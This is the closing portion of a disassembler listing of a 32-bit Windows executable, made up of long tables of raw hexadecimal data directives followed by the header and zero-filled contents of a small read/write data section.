		dd 3450401h, 436035Bh, 377038Ah, 41E0401h, 3E20351h, 3D20401h
		dd 4000402h, 4BB03E5h, 45003DCh, 46803B5h, 3620405h, 32203E6h
		dd 3B00465h, 39C03E2h, 3A4048Dh, 34D03E8h, 41703A8h, 3A503CDh
		dd 45B04C6h, 3EB03E0h, 40D0472h, 3E90466h, 2B3048Fh, 3FE03ACh
		dd 3E00474h, 42D03E1h, 3DB0434h, 3FA0483h, 35D034Eh, 38604D7h
		dd 3DF04B3h, 367041Ch, 3E203A4h, 3FF03ABh, 43F034Eh, 4200486h
		dd 415043Eh, 3220423h, 389043Bh, 43703C1h, 3140355h, 4630384h
		dd 4BB039Bh, 4410421h, 48602E3h, 45D03E6h, 3A4038Ch, 43B03E2h
		dd 51804B0h, 42C0450h, 3B10476h, 45D03EFh, 3F30420h, 38F03E2h
		dd 43004EAh, 40003C7h, 4030491h, 4360414h, 4A003EEh, 4760424h
		dd 4570401h, 47703CEh, 40104EFh, 4D802FFh, 48503DEh, 4D6040Eh
		dd 48603A3h, 37203C6h, 5050441h, 49003F1h, 48903C7h, 3AF037Eh
		dd 48603FCh, 3D603E4h, 36B02CAh, 3BF0322h, 4010410h, 43904A2h
		dd 3140497h, 3370387h, 43D0400h, 40103C1h, 4000400h, 400043Fh
		dd 2 dup(4000400h), 4000401h, 2Ah dup(4000400h), 4200400h
		dd 4Eh dup(4000400h), 3C20400h,	4000420h, 0Ah dup(4000400h)
		dd 40003E0h, 0Bh dup(4000400h),	3E00400h, 4Ah dup(4000400h)
		dd 4000420h, 1Ch dup(4000400h),	4C10400h, 39B03D0h, 349046Bh
		dd 3D103A2h, 4230389h, 3920488h, 3E203A3h, 3CD0397h, 4F902EDh
		dd 3E003FCh, 3A30436h, 470049Fh, 37C0447h, 3D30474h, 43902D7h
		dd 39C0416h, 4030466h, 37303E3h, 4200453h, 4470433h, 31E0450h
		dd 396036Eh, 2F50478h, 30F0453h, 3CD0493h, 3FE0460h, 50003CAh
		dd 3A2048Fh, 3FE03D7h, 37E0417h, 4250486h, 3A403F1h, 4D203B5h
		dd 4700351h, 4C004BAh, 4090390h, 4650420h, 49603ADh, 3C40327h
		dd 41403C9h, 36B03BEh, 44104C9h, 4D5041Ch, 4B60465h, 3F404AEh
		dd 44305D0h, 440037Ch, 3D80300h, 37A04BBh, 3CC0449h, 41A0366h
		dd 36C041Fh, 3D304E9h, 3650387h, 3F80400h, 45703E8h, 4D10389h
		dd 4390454h, 3C60485h, 4BD0460h, 3D2041Ah, 477046Ah, 35D0334h
		dd 2C802F6h, 39D0309h, 3B10372h, 4790369h, 32B03CBh, 4CA0432h
		dd 42D048Bh, 45B0435h, 3370455h, 4060457h, 43A0396h, 4B4047Dh
		dd 4E6038Dh, 3C50415h, 3D90363h, 4C003C1h, 4880395h, 3FC040Ch
		dd 2EB0335h, 3A70498h, 4390437h, 3FA04A6h, 4A50441h, 3B6045Bh
		dd 4A90410h, 4240437h, 4B003F5h, 3E0043Fh, 4FA0473h, 43E0470h
		dd 36404A5h, 3E004B9h, 35C03F9h, 35F0386h, 362038Eh, 3F6036Ah
		dd 44A0419h, 3E003BEh, 33E034Dh, 3A80345h
		dd 43D0375h, 3760475h, 42103F9h, 3A40500h, 45D03B3h, 4DA04AAh
		dd 468049Ah, 4060469h, 38E03B1h, 3AD0415h, 4EF044Ah, 3E404B1h
		dd 45A0412h, 4970421h, 43C03EAh, 3710390h, 45703E2h, 4A00497h
		dd 42703E0h, 33C03F8h, 49C03C5h, 3B503B5h, 4A203B7h, 450036Eh
		dd 4B503AEh, 3C50400h, 2 dup(3E00400h),	7Dh dup(4000400h)
		dd 4200400h, 40003E0h, 7Eh dup(4000400h), 4AD0400h, 41A03F0h
		dd 3E203F0h, 44D032Fh, 3CF043Dh, 41C0433h, 3D803C5h, 41F0481h
		dd 434037Fh, 499039Ch, 43B04B9h, 3EB04D2h, 32E0389h, 4BB0439h
		dd 431042Ch, 30203D2h, 4460489h, 32603CCh, 3E80388h, 2EA0483h
		dd 36C03F8h, 43802EEh, 4AF03BFh, 3E0038Bh, 53E02EFh, 40603DEh
		dd 3FB03C6h, 36104D2h, 3CA048Eh, 48F03AFh, 3900384h, 40704B4h
		dd 3430482h, 3E204CBh, 4150407h, 39D0395h, 3360418h, 3E00401h
		dd 43E039Ah, 41D0475h, 42D035Ch, 40A0400h, 4170437h, 33904D5h
		dd 49404F9h, 4B10486h, 3AE038Eh, 3FB03D0h, 46503B5h, 34A0451h
		dd 385046Fh, 4B103CFh, 36B0460h, 36F04CAh, 3DD031Ch, 38C041Fh
		dd 3E00425h, 3E7040Fh, 4A303A7h, 43902EFh, 42003B8h, 32B041Ch
		dd 3F30411h, 3AE039Bh, 3CC0341h, 47D032Ch, 36D03BDh, 3CE0362h
		dd 3F60450h, 40A03ECh, 30103B5h, 3E503C1h, 3CA03CBh, 3A004E4h
		dd 4F503ADh, 47704DAh, 40A04CCh, 45B03DBh, 40D0382h, 3260433h
		dd 4A50404h, 3D80404h, 445031Ah, 468045Bh, 43D0487h, 447040Fh
		dd 40103FEh, 48804BFh, 2F403E2h, 36B0386h, 34C041Ah, 483036Dh
		dd 3F6048Ah, 4A80453h, 41104D4h, 42D03A3h, 439041Ch, 466041Eh
		dd 3530397h, 41503D1h, 43903D1h, 43A041Dh, 4B10475h, 51F0384h
		dd 4C10465h, 32D038Fh, 3F30458h, 50B03AFh, 3DF038Ah, 38803CDh
		dd 40B0400h, 32B0492h, 38D03D4h, 3E203F5h, 4180496h, 3970349h
		dd 41F03C2h, 3790439h, 3FE046Ch, 43C0418h, 44403FBh, 45D036Bh
		dd 4870427h, 3FF0421h, 3C903A6h, 4720471h, 47C0476h, 34D030Ah
		dd 41E0400h, 45D0420h, 2 dup(40003E0h),	2 dup(4000400h)
		dd 3E00400h, 79h dup(4000400h),	4520400h, 40003E0h, 4200400h
		dd 4000401h, 7Ch dup(4000400h),	3CE0400h, 40203E5h, 436043Fh
		dd 5420378h, 47003CBh, 40A042Eh, 3000352h, 3780343h, 35D0361h
		dd 51103A1h, 47804DBh, 4620476h, 3CE045Eh, 3AC0386h, 40F049Dh
		dd 363049Eh, 49E043Fh, 32103CDh, 40803DCh, 41E047Ch, 4240386h
		dd 3B1048Ch, 34C0456h, 3E604D3h, 3EB0455h, 4550369h, 3DB049Ah
		dd 4DB0420h, 40103F2h, 4040435h, 3CB04C2h, 436047Eh, 3E104C3h
		dd 40903BBh, 40A0433h, 4510366h, 49A0462h, 3CC03C3h, 3F50402h
		dd 43204E9h, 3450326h, 428041Ch, 43F04ADh, 33B0474h, 36E0365h
		dd 46A0442h, 44E040Bh, 4BB045Dh, 3C804BBh, 47003F1h, 3DE0318h
		dd 456039Bh, 478042Ah, 3F0045Ah, 3440490h, 47E04DDh, 3DA045Fh
		dd 44D0493h, 3CB03C1h, 4750347h, 30703C1h, 3B003EAh, 2F6046Ch
		dd 4020403h, 376036Ah, 36F0438h, 389038Fh, 4680396h, 3F5040Ah
		dd 47503D2h, 3CC03D7h, 36604DBh, 49C0491h, 3B1048Ch, 4380313h
		dd 4470409h, 33C044Dh, 3E30414h, 41B03E0h, 49B0401h, 47C045Dh
		dd 2E804D4h, 3900370h, 3AA04BCh, 39403F8h, 41C02D7h, 4F20457h
		dd 4B60484h, 3E603B5h, 45F02E7h, 42F04D1h, 3D4045Eh, 3E503E3h
		dd 3C10436h, 3BB03BDh, 4270473h, 37C03DAh, 3ED03CBh, 3DA037Bh
		dd 3AA03C1h, 45C0430h, 4950402h, 38F042Ch, 45903C0h, 35304D9h
		dd 48B0462h, 43703D9h, 467052Ah, 3E70376h, 4730391h, 4440438h
		dd 3D103D2h, 45B03E0h, 472050Fh, 3430442h, 41103ADh, 3BE043Bh
		dd 38703E4h, 41F0390h, 3FE04B1h, 33F0511h, 4BE0459h, 4C60451h
		dd 34803DBh, 45F03E4h, 46A03DFh, 3F8038Eh, 3A90465h, 3A30400h
		dd 4010400h, 7Eh dup(4000400h),	3E10400h, 2 dup(4000400h)
		dd 4000420h, 7Ch dup(4000400h),	3570400h, 3880461h, 499039Eh
		dd 45C0353h, 35104A9h, 4B60391h, 3C703FEh, 44A0494h, 44404ADh
		dd 4380317h, 42B03F0h, 3FF03A3h, 372033Bh, 4200344h, 3B903DBh
		dd 4F603E6h, 38C0392h, 35D045Dh, 32A046Dh, 3FF046Eh, 36A0400h
		dd 39A0412h, 3E60499h, 385040Ah, 3BC03E4h, 31C0401h, 49B040Dh
		dd 418041Ch, 3B404A0h, 51C03E7h, 4960498h, 543037Bh, 295031Ch
		dd 394040Ah, 4610447h, 3B503DDh, 490045Ah, 37F03BBh, 3EB03E0h
		dd 3870465h, 4240487h, 38E03CCh, 3B003C5h, 4C60484h, 414033Eh
		dd 2CA0472h, 38804FBh, 3E1043Dh, 3E40475h, 3E7043Eh, 42D048Ch
		dd 3F104D5h, 3A90409h, 3FD0363h, 3E103ABh, 387038Fh, 4AE04C7h
		dd 3E403C1h, 372041Ah, 4620397h, 389040Ch, 38E03FFh, 484035Ch
		dd 374042Ah, 3770476h, 36F0404h, 3C7043Ch, 4B003C0h, 42F03DAh
		dd 3E703D2h, 47A042Bh, 34204EAh, 3FF0490h, 3C3034Bh, 4590383h
		dd 3AE03D3h, 46304A5h, 3A30351h, 35A0301h, 43402F8h, 43E0456h
		dd 4B00405h, 3A003E2h, 49204DDh, 3F60350h, 3E50425h, 46D0389h
		dd 422040Ch, 3C6031Eh, 47A02C9h, 3C30461h, 3F603DFh, 3C1041Dh
		dd 47F03A9h, 40703EFh, 45B0503h, 4F50339h, 3C10380h, 4770478h
		dd 4080421h, 47D0307h, 3E80485h, 4A703E0h, 3E20381h, 3F703FDh
		dd 4AF04D3h, 478040Ch, 3B70437h, 43F03CCh, 3C4041Fh, 47704EDh
		dd 38603DCh, 3C8042Dh, 48603E3h, 3E40402h, 41D0422h, 3E70498h
		dd 47703D0h, 43D0411h, 5040371h, 38C0432h, 42003E1h, 3DF03E1h
		dd 38B0491h, 4D9047Dh, 420049Bh, 46403D0h, 49703ACh, 4200400h
		dd 4000401h, 4000400h, 3E00400h, 4200400h, 0Dh dup(4000400h)
		dd 3E00400h, 6Dh dup(4000400h),	3FF0400h, 3E00400h, 40003E0h
		dd 6 dup(4000400h), 40003E0h, 76h dup(4000400h), 4270400h
		dd 2B90354h, 3F30508h, 3970421h, 4EF043Bh, 38604A3h, 49C0419h
		dd 51B03FFh, 46E044Ah, 37A0352h, 43C03E1h, 48F0392h, 34A04AAh
		dd 38803FEh, 3DC0425h, 41804D1h, 437045Dh, 27804DEh, 45D038Ch
		dd 3F6048Bh, 4860407h, 3B10458h, 3AB0458h, 35F038Eh, 3A503F8h
		dd 44A0356h, 4450401h, 3850444h, 42A036Bh, 42104ABh, 3C0044Dh
		dd 43A037Fh, 41E0499h, 4080429h, 4280499h, 3F603E3h, 36C03CBh
		dd 4540416h, 3B803AEh, 43102E0h, 3D50420h, 38004E8h, 3FC047Bh
		dd 3C70391h, 42D0516h, 49603F4h, 3CC0401h, 3E2048Ah, 3C6028Fh
		dd 33E0460h, 3720424h, 343042Ch, 43D046Eh, 3760409h, 45C03E0h
		dd 39C0371h, 3A904A7h, 34E03E2h, 3B80420h, 46B0428h, 36F03D5h
		dd 4200417h, 4CB0403h, 3690414h, 399030Ah
		dd 45D030Dh, 412034Bh, 3AA02F5h, 2EB0396h, 4480407h, 41A0474h
		dd 3BD0449h, 46A0422h, 4730350h, 4080401h, 44003C5h, 3150415h
		dd 3E503BFh, 3C003E2h, 35E03C8h, 47603E4h, 401047Ah, 3950332h
		dd 34504CDh, 4720438h, 4AA04B9h, 4650421h, 3FA0306h, 45F02DAh
		dd 3B9040Dh, 3A50382h, 3840343h, 49203C4h, 3CB0455h, 38C0354h
		dd 43E0404h, 3D503D6h, 4BF0409h, 3D50401h, 3FD034Bh, 48003B1h
		dd 36C04C4h, 3B403FFh, 376037Fh, 4190475h, 38803D9h, 3930343h
		dd 3B90390h, 3E20454h, 40A0419h, 3FE04A9h, 3F40432h, 36E0418h
		dd 44504A1h, 4ED0368h, 3D403E2h, 41C03D9h, 43203F5h, 45F03D7h
		dd 3A1049Fh, 310048Eh, 48F04B9h, 43604A5h, 3FB0404h, 3360366h
		dd 3010494h, 383038Ah, 36F0411h, 3E00400h, 2 dup(4000400h)
		dd 3FF0400h, 3 dup(4000400h), 40003E0h,	78h dup(4000400h)
		dd 2 dup(3C10400h), 7Eh	dup(4000400h), 4300400h, 41D049Ch
		dd 3D403E2h, 3B50338h, 36F03A1h, 3B7041Eh, 4D804ADh, 42003B6h
		dd 40803B4h, 44304A6h, 41F039Bh, 4010460h, 3DF039Eh, 3D504D9h
		dd 4B202F2h, 38304C2h, 34803E4h, 4720380h, 4990391h, 4680418h
		dd 3A30470h, 3B80459h, 4420397h, 3F7047Bh, 3F203DDh, 38D047Dh
		dd 44E043Fh, 3E60445h, 3E5032Bh, 4DA03D8h, 4060407h, 5340478h
		dd 3C303B2h, 41B0421h, 3FE03FFh, 3D302FBh, 4EB03EDh, 4940418h
		dd 3FA03E4h, 4A403C3h, 3F704A4h, 48D04E6h, 4530471h, 4880420h
		dd 3890440h, 3E8039Fh, 3E903A4h, 3870366h, 37A03D1h, 33F0375h
		dd 3F103CCh, 44203F9h, 3E8038Dh, 4060421h, 473044Fh, 37E03A7h
		dd 42303F6h, 3E00366h, 33C03D3h, 40C0459h, 394042Eh, 42704E0h
		dd 3D603E0h, 38F0305h, 48C038Eh, 4A403E6h, 410045Eh, 44D0381h
		dd 3A204A2h, 4210404h, 47F03F7h, 4A1036Ah, 321049Ah, 34D0424h
		dd 43D0499h, 48703E3h, 4D502F7h, 4C60484h, 3E003CFh, 4B10307h
		dd 4060524h, 3F60393h, 47C0432h, 45C04CFh, 43E041Bh, 400044Fh
		dd 44A03BFh, 395045Ah, 3800351h, 3F2035Dh, 3BF03DCh, 3E103FEh
		dd 4BA0496h, 404045Dh, 4C803C7h, 43F0365h, 4800345h, 3F70481h
		dd 3FF03F1h, 3E00498h, 3A60414h, 3F4042Ah, 3C30421h, 4AD0462h
		dd 3730347h, 4B50431h, 37D031Eh, 2EE0481h, 41B0471h, 5230349h
		dd 38F03E1h, 4C10434h, 48203FEh, 2D1030Fh, 50B03E0h, 47F045Fh
		dd 3E604A6h, 404033Dh, 30E04A4h, 3F20402h, 43B03D8h, 45403C3h
		dd 46D03CDh, 3DC043Dh, 3C503BBh, 42702EBh, 404046Fh, 3B50447h
		dd 3FF0400h, 42003FFh, 4000420h, 40003E0h, 3 dup(4000400h)
		dd 3E00400h, 78h dup(4000400h),	43F0400h, 3E00400h, 4000400h
		dd 3E00400h, 40003E0h, 3 dup(4000400h),	4200400h, 77h dup(4000400h)
		dd 3F50400h, 4AA0356h, 3E60441h, 3980476h, 46E0477h, 3FE049Ah
		dd 3990332h, 3BA041Bh, 44B03E2h, 40404C2h, 35D04DCh, 52F03D0h
		dd 407045Ah, 426039Bh, 5270435h, 49C0310h, 47803A6h, 494049Ch
		dd 48603DAh, 3E603BBh, 48403A6h, 3E80335h, 43F0475h, 3BC047Bh
		dd 3FF041Ah, 46704D9h, 4030367h, 4410487h, 4FD04E6h, 40B0386h
		dd 4AB0418h, 43604AFh, 4070469h, 3CA03C5h, 3B30399h, 4A1033Eh
		dd 41003D0h, 44F03E0h, 3F00364h, 4B103C9h, 30103E4h, 47903E2h
		dd 4130418h, 37D03A4h, 49E048Eh, 415037Ah, 32D04ABh, 44703B4h
		dd 4780445h, 4670329h, 4150436h, 3B204A8h, 40C0315h, 3D20459h
		dd 3E70410h, 43703DBh, 34D03B2h, 27A039Fh, 4BC03C6h, 440046Eh
		dd 43003C5h, 31A0418h, 3DE03F1h, 4B00438h, 3D003B8h, 2D70417h
		dd 343044Dh, 46E0454h, 384040Ah, 4060349h, 38F0360h, 3FC049Eh
		dd 34F0421h, 44C0429h, 37B039Bh, 41C0467h, 399046Ah, 413045Dh
		dd 41A032Eh, 40B04C4h, 3C4043Bh, 34F038Dh, 45C03BCh, 36D0375h
		dd 3BA041Ah, 4A1045Ah, 41C0404h, 3FF0478h, 4030442h, 41403E0h
		dd 3850522h, 4090400h, 3EE03C3h, 39603B2h, 3A003FFh, 40204EFh
		dd 42C02C9h, 30003BEh, 47203E1h, 41402FDh, 3E00452h, 3AF0311h
		dd 3C703E7h, 3EE03C0h, 40B042Bh, 41E0330h, 48603FAh, 393048Eh
		dd 389040Ah, 4AC035Dh, 2FD03DBh, 43A03FAh, 41F04F5h, 3830388h
		dd 46303B3h, 4750488h, 3DA0392h, 3670458h, 3C40394h, 48303A1h
		dd 4A80495h, 36303A3h, 49E0338h, 39C0489h, 3300493h, 4CD03C1h
		dd 3C903CCh, 44B0383h, 3C50400h, 40003E0h, 0Dh dup(4000400h)
		dd 3E00400h, 70h dup(4000400h),	38E0400h, 45C0400h, 4000400h
		dd 3E00400h, 3 dup(4000400h), 3E00400h,	78h dup(4000400h)
		dd 1D57h dup(0)
__u_____	ends

; Section 3. (virtual address 00042000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00042000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 442000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start